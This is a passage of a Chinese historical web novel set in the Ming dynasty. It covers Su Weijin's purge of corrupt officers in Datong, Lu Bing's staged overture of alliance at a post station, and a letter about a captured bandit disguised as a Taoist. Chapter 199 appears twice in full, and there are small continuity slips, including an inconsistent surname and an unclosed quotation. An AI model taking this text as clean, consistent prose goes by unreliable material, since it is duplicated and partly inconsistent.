那些他们自以为做得天衣无缝的假账、阴阳账,
在对方眼里仿佛透明的一般!
“大人明鉴!大人明鉴啊!”
王书办
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噗通跪地,磕头如捣蒜。
“小的……小也是奉命行事,
都是……都是上面逼我们做的啊!”
“上面?谁是上面?”
苏惟瑾语气森然。
“是……是刘参将,
还有……还有李游击他们!
是他们克扣了饷银,虚报开销,
逼着我们做假账平账!
小的们若是不从,轻则打骂,
重则性命不保啊!”
生死关头,王书办也顾不得许多了,
如同竹筒倒豆子般,
将几个主要涉事军官的名字和惯用手段都招了出来,
还指出了几处隐藏的关键证据所在。
就在这时,外面传来一阵喧哗。
沈炼钢押着那个疤脸刘队官和另外两个气势汹汹的军官闯了进来。
原来他们得知账房被带走,
心知不妙,想强行冲击官廨,
被沈炼钢带人当场拿下。
“苏惟瑾!你个黄口小儿!
敢动老子?老子是刘参将的人!
你找死!”
疤脸刘即便被押着,
依旧嚣张跋扈,试图挣扎。
苏惟瑾看都没看他,
直接将王书办画押的口供和初步整理出的账目疑点甩到他们面前,
声音不大,却带着雷霆万钧之力:
“刘三刀,李魁,张彪!
尔等身为大明军官,不思报效朝廷,
反而喝兵血,贪军饷,做假账,
欺上瞒下,以致士卒怨沸,
酿成兵变!人证物证俱在,
还有何话说?”
那几人看到口供和账目,
脸色瞬间惨白,
尤其是看到苏惟瑾随手圈出的几个关键数据,
更是如同见了鬼一般。
他们想不通,这账目做得如此隐秘,
怎么这么快就被查了个底掉?
“拿下!”
苏惟瑾毫不留情。
“革去官职,抄没家产!
连同口供账册,即刻押送京师,
交有司论处!”
沈炼钢等人如狼似虎,
将这几个往日里作威作福的军官捆了个结实。
消息很快传开,军营先是一静,
随即爆发出震天的欢呼声!
“抓得好!”
“这些天杀的老鼠!终于遭报应了!”
“苏青天!苏青天为民除害啊!”
士兵们积压已久的怒火和冤屈,
终于得到了宣泄。
苏惟瑾这雷霆一击,
不仅揪出了贪腐分子,
更是彻底赢得了大同军心。
第199章 陆炳另眼看,递出橄榄枝
大同归程:驿馆风波
大同城的尘埃渐渐落定,
那股子兵乱后的肃杀之气,
也被秋日高爽的晴空冲淡了不少。
驿馆院内,几株老槐树的叶子开始泛黄,
风一过,便簌簌地落几片,平添几分萧索。
苏惟瑾正在房中整理行装,
准备不日返京。
周大山在一旁帮忙,
手脚麻利,脸上却带着些欲言又止的神色。
“大人,那位陆指挥……
这几日,似乎清闲得很,
常在校场那边看咱们的人操练,
也不多话。”
周大山最终还是没忍住,
压低声音禀报。
他对那位锦衣卫的大人物,
始终心存敬畏,
更夹杂着一丝难以言说的警惕。
毕竟,锦衣卫的名声,
在寻常百姓和低级官吏听来,
总带着股血腥味儿。
苏惟瑾手下动作未停,
只淡淡“嗯”了一声。
他超频的大脑早已将陆炳近日的静观其态分析透彻。
这位天子亲军指挥使,
胜如最有耐心的猎手,
在暗处冷眼旁观了他处理兵变、
发放饷银、查抄贪腐的全过程。
此刻的沉默,不是漠不关心,
而是在重新评估他苏惟瑾的价值。
——陆炳绝非真的“清闲”,他每一次“旁观”都在权衡,或许早已在暗中布下了什么局,只待一个合适的时机收网。
“知道了。收拾妥当,明日启程。”
苏惟瑾语气平静。
陆炳的态度,本就在他预料之中。
若能借此机会,
与这位皇帝心腹建立一种微妙的、
非敌非友的联系,对未来而言,
未必不是一步暗棋。
——只是不知,陆炳会用何种方式打破这“旁观”的平衡?是主动示好,还是先试探深浅?
翌日,车队启程返京。
队伍规模比来时庞大了许多,
除了苏惟瑾原有的随从、护卫,
还多了押解刘参将等犯官及其家眷的囚车,
以及装载着查抄账册、证物的箱笼,
辚辚而行,引得道路两旁百姓远远驻足观望,指指点点。
苏惟瑾依旧乘坐他那辆朴素的青幔马车,
陆炳则骑马行在队伍前列,
一身飞鱼服在秋阳下灼目刺眼,
腰佩绣春刀,神色冷峻,生人勿近。
两人一路并无过多交谈,
看起来像似了只是同路的陌生人。
——陆炳刻意保持距离,或许是在等一个“不得不靠近”的契机,让关系的转变显得自然,而非刻意拉拢。
行程数日,已近京畿。
这日晌午,队伍在一处官道旁的驿站打尖歇脚。
驿站不大,但因地处要冲,
南来北往的官员、商旅不少,倒也热闹。
大堂里,几张桌子几乎坐满,
人声嘈杂,充斥着各种口音和八卦消息。
苏惟瑾拣了个靠窗的清净位置坐下,
刚点了些简单饭食,
就听邻桌几个穿着绸衫、
像是商贾模样的人,
正唾沫横飞地议论着大同兵变之事。
“听说了吗?
大同那档子事儿,
让一个新科状元给平了!”
一个胖商人拍着大腿,啧啧称奇。
“可不是嘛!
叫苏什么瑾的,翰林院的官儿,
啧啧,真是文曲星下凡,
不仅能中状元,还能带兵平乱!”
另一个瘦高个接口道,
语气里满是羡慕。
这时,旁边一个留着两撇鼠须、
面色倨傲的中年人冷哼一声,
阴阳怪气地插话道:
“哼,诸位怕是只知其一,
不知其二吧?”
众人目光被他吸引过去。
鼠须男见成功吸引了注意,
得意地捋了捋胡须,压低声音,
却故意让周围人都能听见:
“那苏惟瑾,不过是走了狗屎运,
恰逢其会罢了!
你们不想想,他一个书生,
懂什么军务?
不过是仗着陛下宠信,
拿着内帑银子去收买人心而已。
真正出力弹压、稳定局面的,
还不是大同本地的总兵官和那些军将?
他苏惟瑾,也就是个传声筒,
跑跑腿,这功劳啊,多半是抢来的!”
这话一出,胖商人和瘦高个都愣住了,将信将疑。
周围其他食客也竖起了耳朵。
鼠须男越发来劲,
声音也提高了八度:
“再说了,你们可知他出身?
军户旁支,家里穷得叮当响,
听说早些年还给富户当过书童,
低贱得很!不过是会读几本死书,
撞大运中了状元,
就真以为自己是个人物了?
我看呐,这次大同之事,
指不定里面有什么猫腻呢!
说不定啊,是某些人为了往上爬,
故意夸大其词,糊弄皇上!”
这番言论,可谓恶毒。
既贬低了苏惟瑾的能力,
又质疑了他的功劳,
还捎带脚侮辱了他的出身,
简直是把“装逼”和“抹黑”写在脸上。
周围一些不明真相的人开始交头接耳,
看向苏惟瑾这边的目光也带上了几分审视和猜疑。
周大山在一旁听得火冒三丈,
拳头攥得咯咯响,就要起身理论,
却被苏惟瑾用眼神制止。
苏惟瑾面色如常,
甚至嘴角还带着一丝若有若无的笑意,
慢条斯理地夹了一筷子青菜,
仿佛邻桌议论的是别人。
——这鼠须男来得太巧,
言辞精准地戳向最能激怒他的点,
倒像是提前演练过。
若真是偶然,未免太过巧合,
恐怕是有人故意安排,
想看看他的反应。
而这背后,陆炳的嫌疑最大。
就在这时,驿站门口光线一暗,
一个高大的身影走了进来,
正是陆炳。
他显然听到了刚才那番议论,
冰冷的目光如同实质的刀锋,
瞬间扫过鼠须男那一桌。
整个大堂的温度仿佛骤然降低了几度。
嘈杂的人声像被掐住了脖子,
瞬间安静下来。
所有人都感受到了那股来自锦衣卫指挥使的凛冽杀气。
鼠须男正说得唾沫横飞,
忽然觉得后背发凉,
一抬头,正对上陆炳那双毫无感情的眸子,
吓得浑身一哆嗦,
手里的筷子“啪嗒”一声掉在桌上,
脸色瞬间变得惨白。
——陆炳出现的时机,
恰好是鼠须男抹黑最起劲的时候,
宛如算准了时间一般。
他这“及时现身”,
更像是为了接下来的“解围”做铺垫。
陆炳没理他,径直走到苏惟瑾桌旁,
竟破天荒地拉开椅子,坐了下来。
这个举动,让所有旁观者眼珠子都快瞪出来了!
锦衣卫指挥使,竟然主动与那位被非议的苏修撰同坐?
“苏修撰,好定性。”
陆炳开口,声音不高,
却清晰地传遍整个寂静的大堂。
“宵小之辈狂吠,也能安之若素。”
苏惟瑾放下筷子,微微一笑,拱手道:
“陆指挥过奖。
清者自清,浊者自浊。
些许闲言碎语,若事事计较,
反倒落了下乘,徒耗精神。”
他这话说得云淡风轻,
却像一记无声的耳光,
狠狠抽在鼠须男脸上。
那意思很明显:
你这种跳梁小丑,
连让我生气的资格都没有。
鼠须男脸上红一阵白一阵,
恨不得找个地缝钻进去。
陆炳点了点头,目光再次转向鼠须男那边,
语气平淡,却带着不容置疑的威严:
“尔等可知,构陷朝廷命官,
妄议军国大事,该当何罪?”
“扑通!”
鼠须男直接吓得从椅子上滑下来,
瘫软在地,磕头如捣蒜:
“大人饶命!小人胡说八道!
小人该死!小人再也不敢了!”
他带来的几个同伴也吓得魂不附体,
跟着一起磕头。
陆炳冷冷道:
“滚出去。
若再让本指挥听见半句污蔑苏修撰之言,
缇骑之下,决不轻饶!”
“是是是!谢大人开恩!
谢大人开恩!”
鼠须男如蒙大赦,
连滚爬爬地冲出驿站,
他那几个同伴也狼狈跟上,
瞬间跑得没影儿。
——陆炳对鼠须男的处置,
看似严厉,实则留了余地,只赶不抓。
若是真的严惩,以锦衣卫的作风,
绝不会如此轻易放行。
这更印证了鼠须男只是个“道具”,
用完即弃,目的就是为了让陆炳顺理成章地“为他出头”。
大堂内一片死寂。
先前那些窃窃私语的人,
个个噤若寒蝉,
低头不敢与陆炳和苏惟瑾对视。
胖商人和瘦高个更是满脸敬畏地看着苏惟瑾,
这才明白,眼前这位年轻的状元公,
能量远比他们想象的要大得多!
连凶名在外的锦衣卫指挥使都为他出头!
这场面,这反转,这打脸!
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简直爽利至极!
之前鼠须男有多嚣张,
现在就有多狼狈;
之前旁观者有多猜疑,
现在就有多敬畏。
而主角苏惟瑾,自始至终未发一言驳斥,
仅凭陆炳的出场和几句话,
就轻松碾压了对手,
这份从容,更显逼格。
陆炳这才重新看向苏惟瑾,
眼神里少了之前的纯粹审视,
多了一丝难以言喻的意味,
像是欣赏,又像是权衡。
他提起茶壶,亲自给苏惟瑾斟了一杯茶,
这个动作又让暗中观察的人们心头狂震。
——斟茶这个举动,
是做给所有人看的,
意在公开抬高他的地位,
也向外界传递“两人关系不一般”的信号。
陆炳这一步步,环环相扣,分明是早就设计好的戏码。
“苏修撰此番大同之行,
雷厉风行,手段老辣,
陆某佩服。”
陆炳缓缓道。
“不仅平息了兵变,
更揪出了军**瘤,
于国于民,皆是大功一件。
陛下圣明,慧眼识珠。”
苏惟瑾双手接过茶杯,谦逊道:
“陆指挥谬赞。
惟瑾不过是恪尽职守,
仰赖陛下天威,方能侥幸成事。
若非陆指挥坐镇,
宵小之辈或许更为猖獗,
大同局势亦难料矣。”
他巧妙地把功劳分给皇帝和陆炳,
姿态放得极低。
陆炳眼中闪过一丝满意,
他喜欢聪明人,
尤其是懂得分寸的聪明人。
他沉吟片刻,声音压得更低,
几乎只有两人可闻:
“苏修撰年少有为,前途不可限量。
京城水深,各方势力盘根错节,
日后若遇什么……
不方便明面处置的琐事,
或想知晓些坊间不易打探的消息,
或许,北镇抚司的门槛,
也并非高不可攀。”
这话,已是赤裸裸的示好和招揽了!
虽未明言结盟,
但“信息共享”、“行个方便”的橄榄枝,
已经递了出来。
锦衣卫的资源和人脉,
对于任何一个想在官场立足的官员来说,
都是极具诱惑力的。
——至此,陆炳这场戏的目的彻底显露:
先用鼠须男制造冲突,
再以“解围者”身份登场,
最后顺理成章地抛出橄榄枝。
既显得自然,又能试探他的反应,
还能在众人面前抬举他,一举多得。
苏惟瑾心中雪亮,
陆炳这是看到了他的利用价值,
想要提前投资,或者说,
将他纳入某种可影响的范围内。
他自然不会立刻贴上去,
与锦衣卫牵扯过深,弊大于利。
但完全拒绝,也是不智。
他举杯,以茶代酒,
敬了陆炳一下,微笑道:
“陆指挥厚爱,惟瑾感铭于心。
他日若真有难处,
说不得要厚颜叨扰指挥一二。
指挥若有用得着惟瑾之处,
但凡不违国法纲常,
惟瑾亦当尽力。”
这话答得滴水不漏,
既接受了善意,
留下了日后接触的余地,
又划清了界限
——“不违国法纲常”,表明了自己的原则底线。
陆炳是何等人物,自然听懂了其中的分寸。
他非但不恼,反而对苏惟瑾的评价又高了一分。
不卑不亢,知进退,
有原则,这样的年轻人,
才值得他另眼相看。
“好说。”
陆炳举杯示意,一饮而尽。
两人相视一笑,一切尽在不言中。
驿站外的阳光正好,秋高气爽。
返京的车队再次启程,
苏惟瑾坐在马车中,闭目养神。
超频大脑却在飞速运转,
分析着与陆炳这次短暂交锋的得失利弊。
——陆炳这场自导自演的戏,
看似是他占了主动,
实则两人各取所需。
陆炳展现了善意,
也摸清了他的底线;
他则借陆炳的“造势”,
巩固了自身地位,
还获得了锦衣卫的潜在支持。
打通锦衣卫的模糊渠道,
算是意外之喜,
未来或能在关键时刻起到奇效。
但与之交往,必须如履薄冰,把握好度。
京城的棋局,随着他这次大同之行的成功,
似乎变得更加复杂也更加有趣了。
马车轱辘向前,载着心思各异的众人,
向着那座权力与欲望交织的皇城,疾驰而去。
第199章 陆炳另眼看,递出橄榄枝
大同归程:驿馆风波
大同城的尘埃渐渐落定,
那股子兵乱后的肃杀之气,
也被秋日高爽的晴空冲淡了不少。
驿馆院内,几株老槐树的叶子开始泛黄,
风一过,便簌簌地落几片,平添几分萧索。
苏惟瑾正在房中整理行装,
准备不日返京。
周大山在一旁帮忙,
手脚麻利,脸上却带着些欲言又止的神色。
“大人,那位陆指挥……
这几日,似乎清闲得很,
常在校场那边看咱们的人操练,
也不多话。”
周大山最终还是没忍住,
压低声音禀报。
他对那位锦衣卫的大人物,
始终心存敬畏,
更夹杂着一丝难以言说的警惕。
毕竟,锦衣卫的名声,
在寻常百姓和低级官吏听来,
总带着股血腥味儿。
苏惟瑾手下动作未停,
只淡淡“嗯”了一声。
他超频的大脑早已将陆炳近日的静观其态分析透彻。
这位天子亲军指挥使,
胜如最有耐心的猎手,
在暗处冷眼旁观了他处理兵变、
发放饷银、查抄贪腐的全过程。
此刻的沉默,不是漠不关心,
而是在重新评估他苏惟瑾的价值。
——陆炳绝非真的“清闲”,他每一次“旁观”都在权衡,或许早已在暗中布下了什么局,只待一个合适的时机收网。
“知道了。收拾妥当,明日启程。”
苏惟瑾语气平静。
陆炳的态度,本就在他预料之中。
若能借此机会,
与这位皇帝心腹建立一种微妙的、
非敌非友的联系,对未来而言,
未必不是一步暗棋。
——只是不知,陆炳会用何种方式打破这“旁观”的平衡?是主动示好,还是先试探深浅?
翌日,车队启程返京。
队伍规模比来时庞大了许多,
除了苏惟瑾原有的随从、护卫,
还多了押解刘参将等犯官及其家眷的囚车,
以及装载着查抄账册、证物的箱笼,
辚辚而行,引得道路两旁百姓远远驻足观望,指指点点。
苏惟瑾依旧乘坐他那辆朴素的青幔马车,
陆炳则骑马行在队伍前列,
一身飞鱼服在秋阳下灼目刺眼,
腰佩绣春刀,神色冷峻,生人勿近。
两人一路并无过多交谈,
看起来像似了只是同路的陌生人。
——陆炳刻意保持距离,或许是在等一个“不得不靠近”的契机,让关系的转变显得自然,而非刻意拉拢。
行程数日,已近京畿。
这日晌午,队伍在一处官道旁的驿站打尖歇脚。
驿站不大,但因地处要冲,
南来北往的官员、商旅不少,倒也热闹。
大堂里,几张桌子几乎坐满,
人声嘈杂,充斥着各种口音和八卦消息。
苏惟瑾拣了个靠窗的清净位置坐下,
刚点了些简单饭食,
就听邻桌几个穿着绸衫、
像是商贾模样的人,
正唾沫横飞地议论着大同兵变之事。
“听说了吗?
大同那档子事儿,
让一个新科状元给平了!”
一个胖商人拍着大腿,啧啧称奇。
“可不是嘛!
叫苏什么瑾的,翰林院的官儿,
啧啧,真是文曲星下凡,
不仅能中状元,还能带兵平乱!”
另一个瘦高个接口道,
语气里满是羡慕。
这时,旁边一个留着两撇鼠须、
面色倨傲的中年人冷哼一声,
阴阳怪气地插话道:
“哼,诸位怕是只知其一,
不知其二吧?”
众人目光被他吸引过去。
鼠须男见成功吸引了注意,
得意地捋了捋胡须,压低声音,
却故意让周围人都能听见:
“那苏惟瑾,不过是走了狗屎运,
恰逢其会罢了!
你们不想想,他一个书生,
懂什么军务?
不过是仗着陛下宠信,
拿着内帑银子去收买人心而已。
真正出力弹压、稳定局面的,
还不是大同本地的总兵官和那些军将?
他苏惟瑾,也就是个传声筒,
跑跑腿,这功劳啊,多半是抢来的!”
这话一出,胖商人和瘦高个都愣住了,将信将疑。
周围其他食客也竖起了耳朵。
鼠须男越发来劲,
声音也提高了八度:
“再说了,你们可知他出身?
军户旁支,家里穷得叮当响,
听说早些年还给富户当过书童,
低贱得很!不过是会读几本死书,
撞大运中了状元,
就真以为自己是个人物了?
我看呐,这次大同之事,
指不定里面有什么猫腻呢!
说不定啊,是某些人为了往上爬,
故意夸大其词,糊弄皇上!”
这番言论,可谓恶毒。
既贬低了苏惟瑾的能力,
又质疑了他的功劳,
还捎带脚侮辱了他的出身,
简直是把“装逼”和“抹黑”写在脸上。
周围一些不明真相的人开始交头接耳,
看向苏惟瑾这边的目光也带上了几分审视和猜疑。
周大山在一旁听得火冒三丈,
拳头攥得咯咯响,就要起身理论,
却被苏惟瑾用眼神制止。
苏惟瑾面色如常,
甚至嘴角还带着一丝若有若无的笑意,
慢条斯理地夹了一筷子青菜,
仿佛邻桌议论的是别人。
——这鼠须男来得太巧,
言辞精准地戳向最能激怒他的点,
倒像是提前演练过。
若真是偶然,未免太过巧合,
恐怕是有人故意安排,
想看看他的反应。
而这背后,陆炳的嫌疑最大。
就在这时,驿站门口光线一暗,
一个高大的身影走了进来,
正是陆炳。
他显然听到了刚才那番议论,
冰冷的目光如同实质的刀锋,
瞬间扫过鼠须男那一桌。
整个大堂的温度仿佛骤然降低了几度。
嘈杂的人声像被掐住了脖子,
瞬间安静下来。
所有人都感受到了那股来自锦衣卫指挥使的凛冽杀气。
鼠须男正说得唾沫横飞,
忽然觉得后背发凉,
一抬头,正对上陆炳那双毫无感情的眸子,
吓得浑身一哆嗦,
手里的筷子“啪嗒”一声掉在桌上,
脸色瞬间变得惨白。
——陆炳出现的时机,
恰好是鼠须男抹黑最起劲的时候,
宛如算准了时间一般。
他这“及时现身”,
更像是为了接下来的“解围”做铺垫。
陆炳没理他,径直走到苏惟瑾桌旁,
竟破天荒地拉开椅子,坐了下来。
这个举动,让所有旁观者眼珠子都快瞪出来了!
锦衣卫指挥使,竟然主动与那位被非议的苏修撰同坐?
“苏修撰,好定性。”
陆炳开口,声音不高,
却清晰地传遍整个寂静的大堂。
“宵小之辈狂吠,也能安之若素。”
苏惟瑾放下筷子,微微一笑,拱手道:
“陆指挥过奖。
清者自清,浊者自浊。
些许闲言碎语,若事事计较,
反倒落了下乘,徒耗精神。”
他这话说得云淡风轻,
却像一记无声的耳光,
狠狠抽在鼠须男脸上。
那意思很明显:
你这种跳梁小丑,
连让我生气的资格都没有。
鼠须男脸上红一阵白一阵,
恨不得找个地缝钻进去。
陆炳点了点头,目光再次转向鼠须男那边,
语气平淡,却带着不容置疑的威严:
“尔等可知,构陷朝廷命官,
妄议军国大事,该当何罪?”
“扑通!”
鼠须男直接吓得从椅子上滑下来,
瘫软在地,磕头如捣蒜:
“大人饶命!小人胡说八道!
小人该死!小人再也不敢了!”
他带来的几个同伴也吓得魂不附体,
跟着一起磕头。
陆炳冷冷道:
“滚出去。
若再让本指挥听见半句污蔑苏修撰之言,
缇骑之下,决不轻饶!”
“是是是!谢大人开恩!
谢大人开恩!”
鼠须男如蒙大赦,
连滚爬爬地冲出驿站,
他那几个同伴也狼狈跟上,
瞬间跑得没影儿。
——陆炳对鼠须男的处置,
看似严厉,实则留了余地,只赶不抓。
若是真的严惩,以锦衣卫的作风,
绝不会如此轻易放行。
这更印证了鼠须男只是个“道具”,
用完即弃,目的就是为了让陆炳顺理成章地“为他出头”。
大堂内一片死寂。
先前那些窃窃私语的人,
个个噤若寒蝉,
低头不敢与陆炳和苏惟瑾对视。
胖商人和瘦高个更是满脸敬畏地看着苏惟瑾,
这才明白,眼前这位年轻的状元公,
能量远比他们想象的要大得多!
连凶名在外的锦衣卫指挥使都为他出头!
这场面,这反转,这打脸!
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之前鼠须男有多嚣张,
现在就有多狼狈;
之前旁观者有多猜疑,
现在就有多敬畏。
而主角苏惟瑾,自始至终未发一言驳斥,
仅凭陆炳的出场和几句话,
就轻松碾压了对手,
这份从容,更显逼格。
陆炳这才重新看向苏惟瑾,
眼神里少了之前的纯粹审视,
多了一丝难以言喻的意味,
像是欣赏,又像是权衡。
他提起茶壶,亲自给苏惟瑾斟了一杯茶,
这个动作又让暗中观察的人们心头狂震。
——斟茶这个举动,
是做给所有人看的,
意在公开抬高他的地位,
也向外界传递“两人关系不一般”的信号。
陆炳这一步步,环环相扣,分明是早就设计好的戏码。
“苏修撰此番大同之行,
雷厉风行,手段老辣,
陆某佩服。”
陆炳缓缓道。
“不仅平息了兵变,
更揪出了军**瘤,
于国于民,皆是大功一件。
陛下圣明,慧眼识珠。”
苏惟瑾双手接过茶杯,谦逊道:
“陆指挥谬赞。
惟瑾不过是恪尽职守,
仰赖陛下天威,方能侥幸成事。
若非陆指挥坐镇,
宵小之辈或许更为猖獗,
大同局势亦难料矣。”
他巧妙地把功劳分给皇帝和陆炳,
姿态放得极低。
陆炳眼中闪过一丝满意,
他喜欢聪明人,
尤其是懂得分寸的聪明人。
他沉吟片刻,声音压得更低,
几乎只有两人可闻:
“苏修撰年少有为,前途不可限量。
京城水深,各方势力盘根错节,
日后若遇什么……
不方便明面处置的琐事,
或想知晓些坊间不易打探的消息,
或许,北镇抚司的门槛,
也并非高不可攀。”
这话,已是赤裸裸的示好和招揽了!
虽未明言结盟,
但“信息共享”、“行个方便”的橄榄枝,
已经递了出来。
锦衣卫的资源和人脉,
对于任何一个想在官场立足的官员来说,
都是极具诱惑力的。
——至此,陆炳这场戏的目的彻底显露:
先用鼠须男制造冲突,
再以“解围者”身份登场,
最后顺理成章地抛出橄榄枝。
既显得自然,又能试探他的反应,
还能在众人面前抬举他,一举多得。
苏惟瑾心中雪亮,
陆炳这是看到了他的利用价值,
想要提前投资,或者说,
将他纳入某种可影响的范围内。
他自然不会立刻贴上去,
与锦衣卫牵扯过深,弊大于利。
但完全拒绝,也是不智。
他举杯,以茶代酒,
敬了陆炳一下,微笑道:
“陆指挥厚爱,惟瑾感铭于心。
他日若真有难处,
说不得要厚颜叨扰指挥一二。
指挥若有用得着惟瑾之处,
但凡不违国法纲常,
惟瑾亦当尽力。”
这话答得滴水不漏,
既接受了善意,
留下了日后接触的余地,
又划清了界限
——“不违国法纲常”,表明了自己的原则底线。
陆炳是何等人物,自然听懂了其中的分寸。
他非但不恼,反而对苏惟瑾的评价又高了一分。
不卑不亢,知进退,
有原则,这样的年轻人,
才值得他另眼相看。
“好说。”
陆炳举杯示意,一饮而尽。
两人相视一笑,一切尽在不言中。
驿站外的阳光正好,秋高气爽。
返京的车队再次启程,
苏惟瑾坐在马车中,闭目养神。
超频大脑却在飞速运转,
分析着与陆炳这次短暂交锋的得失利弊。
——陆炳这场自导自演的戏,
看似是他占了主动,
实则两人各取所需。
陆炳展现了善意,
也摸清了他的底线;
他则借陆炳的“造势”,
巩固了自身地位,
还获得了锦衣卫的潜在支持。
打通锦衣卫的模糊渠道,
算是意外之喜,
未来或能在关键时刻起到奇效。
但与之交往,必须如履薄冰,把握好度。
京城的棋局,随着他这次大同之行的成功,
似乎变得更加复杂也更加有趣了。
马车轱辘向前,载着心思各异的众人,
向着那座权力与欲望交织的皇城,疾驰而去。
第200章 京华才女初展翼,顺德伏线暗埋
陆炳那杯意味深长的茶尚有余温,
苏惟瑾的车驾已驶入了京郊地界。
官道两旁,秋色愈浓,
粟田里只剩下一茬茬金黄的粟桩,
农人正弯腰拾掇,
准备迎接冬日的萧瑟。
京城的繁华喧嚣,
似乎已能透过这清冷的空气隐隐传来。
就在苏惟瑾于大同边镇挥洒才智、
与锦衣卫指挥使暗通款曲的同时,
京城里,另一朵与他命运息息相关的解语花,也正悄然绽放。
赵文萱抵京已有段时日。
她并未如寻常闺秀般只困守于父亲新置的、
略显逼仄的国子监博士宅邸内。
父亲赵明远虽只是个正七品的博士,
清贵却无实权,但在文人圈子里,
国子监这块招牌终究有些分量。
赵文萱本就才情出众,
加之其父有意无意地引荐,
很快便在一些不太扎眼、
却颇有格调的文人小聚、
闺秀诗会中崭露头角。
这日,恰逢一位德高望重的翰林院侍读学士的夫人举办赏菊诗会。
与会者多是些中低级京官的家眷或颇有才名的寒门士子,
气氛不算顶奢靡,
却自有一股书卷雅致。
亭台楼阁间,菊花争奇斗艳,丝竹之声若有若无。
诗会惯例,自然少不了吟诗作对。
轮到赵文萱时,她并未选择常见的闺怨秋思,
反而以菊喻志,作了一首七律:
“西风岂是摧花手,
炼就真金枝上头。
冷露无声侵铁骨,
寒霜有意镀金瓯。
不随桃李争春色,
独向乾坤证晚秋。
莫道孤芳唯自赏,
清香原为故人留。”
诗境开阔,格调清奇,
尤其是“炼就真金”、“独证晚秋”之句,
隐隐透出一股不输男子的胸襟气魄,
顿时引来一片低声赞叹。
随后谈及《诗经》中“风”诗与当时民情的关系,
她引经据典,见解独到,既不泥古,
又能结合当下吏治民生,娓娓道来,
令在场几位自视甚高的年轻举子都听得频频颔首。
席间一位穿着朴素、
气度却雍容不凡的老夫人,
一直安静地听着,
此时不由得多看了赵文萱几眼,
眼中流露出毫不掩饰的欣赏。
诗会散后,这位老夫人特意让身边嬷嬷留下赵文萱,
温和地问了几句家常,
得知她是新任国子监博士之女,
更是点了点头。
“好个灵秀通透的孩子,
这诗做得有筋骨,话也说得在理。
难为你父亲教导得好。”
老夫人拉着赵文萱的手,
语气慈祥。
“老身姓杨,夫家姓费。
日后若得了闲,可常来我府上坐坐,
陪我说说话解解闷。”
赵文萱心中微震,
她虽不知这位费老夫人具体身份,
但观其气度、身边仆妇的规矩,
以及周围人对她的隐隐敬畏,
心知绝非寻常老妇。
她连忙敛衽行礼,恭敬应下:
“承蒙老夫人厚爱,文萱荣幸之至,
定当常去聆听教诲。”
事后一打听,赵文萱才暗暗吃惊。
这位徐老夫人,竟是当朝次辅、
文渊阁大学士费宏的嫡母!
费阁老以清流自居,家风严谨,
其母更是素有贤名。
能得到费老夫人的青眼,
无疑是意外之喜。
此后,赵文萱便成了费府的常客。
她知书达理,谈吐不俗,
又懂得倾听,深得老夫人欢心。
在陪老夫人说话、抄经、赏花的过程中,
她虽恪守本分,从不主动打探朝政,
但偶尔也能从老夫人随口的感慨、
或府中女眷闲谈的零碎信息中,
听到一些高门大户对时局的看法。
比如,陛下对大同兵变后续的关注,
朝中对新任大同巡抚人选的争议,
甚至隐约提及某些勋贵对苏惟瑾此番“出风头”的微妙不满……
赵文萱心思缜密,
将这些零零星星的信息默默记在心里,
然后通过父亲衙门里一位极可靠的老书办(早年受过赵明远恩惠),
用隐秘的渠道,
将这些看似无关紧要的“闲话”整理成简讯,
送往已在大同的苏惟瑾处。
苏惟瑾刚回到京城钦差行辕,
交割了差事,疲惫尚未洗去,
便收到了赵文萱这封厚厚的信。
信中,她先关切地问候了他在大同的安危,
然后才以细腻的笔触,
描述了京中一些文人圈子的动向,
以及……她随父进京路过顺德府时看到的惨状。
“……顺德之疫,尤甚真定。
萱儿与父亲途经时,
但见十室九空,道殣相望,
官府掩埋不及,秽气弥天,惨不忍睹。
幸得父亲严令,仆从皆以纱覆面,
饮水必沸,方得无恙。
然有一事,思之仍觉心寒……”
接着,她笔锋一转,讲述了一件“小事”:
他们在离开顺德府前,
于一处破败道观外,
发现一个气息奄奄、
道士打扮的中年男子倒卧在地,
浑身滚烫,显然是染了疫病。
赵明远心存仁念,
命随行懂些医术的老仆施救,
给了些药草饮食。
那“道士”病势稍缓后,
千恩万谢,自称是云游道人,不幸染疾。
赵家父女见他可怜,
便允他随行一段,
至安全处再作打算。
谁知这人面兽心之徒,
病好后竟露了本相。
一夜,他竟欲潜入赵文萱所宿客栈房间行
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不轨之事!
幸得赵明远为防万一安排的护卫警觉,当场将其擒获。
扭送官府后,那人熬不过刑,
才招认自己并非道士,
乃是顺德府周边一伙悍匪中的小头目,
因劫掠商队失手,被官府追捕,
无奈假扮道士逃亡,不料染上瘟疫,
被赵家所救后,见赵文萱貌美,
又觉赵家像是殷实人家,
遂起了歹意,想劫财劫色。
信的最后,赵文萱写道:
“……此獠已被顺德府衙收监,
依律当严惩。
本是一桩令人作呕之事,
不欲污君清听。
然萱儿思之,此贼身为匪类,
熟悉地方黑白两道,或知晓些隐秘。
玉衡兄身处旋涡,多方筹谋,
或有用得着这等腌臜之物处?
故冒昧提及,万望斟酌。”
读到这里,苏惟瑾原本略显疲惫的眼神骤然锐利起来!
超频大脑飞速运转,
将这条信息与已知情报串联分析:
悍匪、假道士、
熟悉顺德府及周边情况、亡命之徒、
且有把柄(企图侵犯官眷是重罪)捏在自己手中……
“妙啊!”
苏惟瑾心中暗赞一声赵文萱的敏锐。
这确实是一步意想不到的暗棋!
此人用好了,
或许能在未来某些见不得光的较量中,起到奇效。
比如,探查某些官员的阴私,
或是用来对付那些习惯使唤江湖手段的对手
(比如那个可能与倭寇有染的盐商赵魁)?
他立刻铺纸研墨,略一思忖,
写下一封简短密信,
用的是与沈香君约定的暗语。
信中命周大山不必随自己回京复命,
而是即刻暗中折返,配合沈香君
赶往顺德府,想办法通过关系
(或利用钦差副使的余威)接触到那个被关押的假道士,
将其控制起来,严加看管,
但要留其性命,日后有用
告诉他,想活命,
就乖乖听话。
他的命,现在在我手里。
“大山,”
苏惟瑾将密信密封好。
“你亲自去一趟云裳阁,
此事需隐秘,
勿让任何人知晓,
尤其是当地官府。
周大山虽不明就里,
但对苏惟瑾的命令从不怀疑,
接过密信,重重点头:
“大人放心,属下明白!”
看着周大山领命而去的背影,
苏惟瑾轻轻摩挲着赵文萱的信笺,
嘴角泛起一丝暖意。
这个看似柔弱的女子,
不仅有着不输男子的才情见识,
更有一颗七窍玲珑心,
能在不经意间,
为他送来如此关键的“礼物”。
这份冰雪聪明与暗中襄助的情谊,
远比那些直白的仰慕,更令他心动。
第201章 帝苑奏对巧,引向长生言
京城的风,到底比边镇多了几分脂粉气和铜臭味儿。
苏惟瑾回到翰林院销了差,
交割完大同之行的首尾,
还没等他把赵文萱信中那假道士的后续安排琢磨透彻,
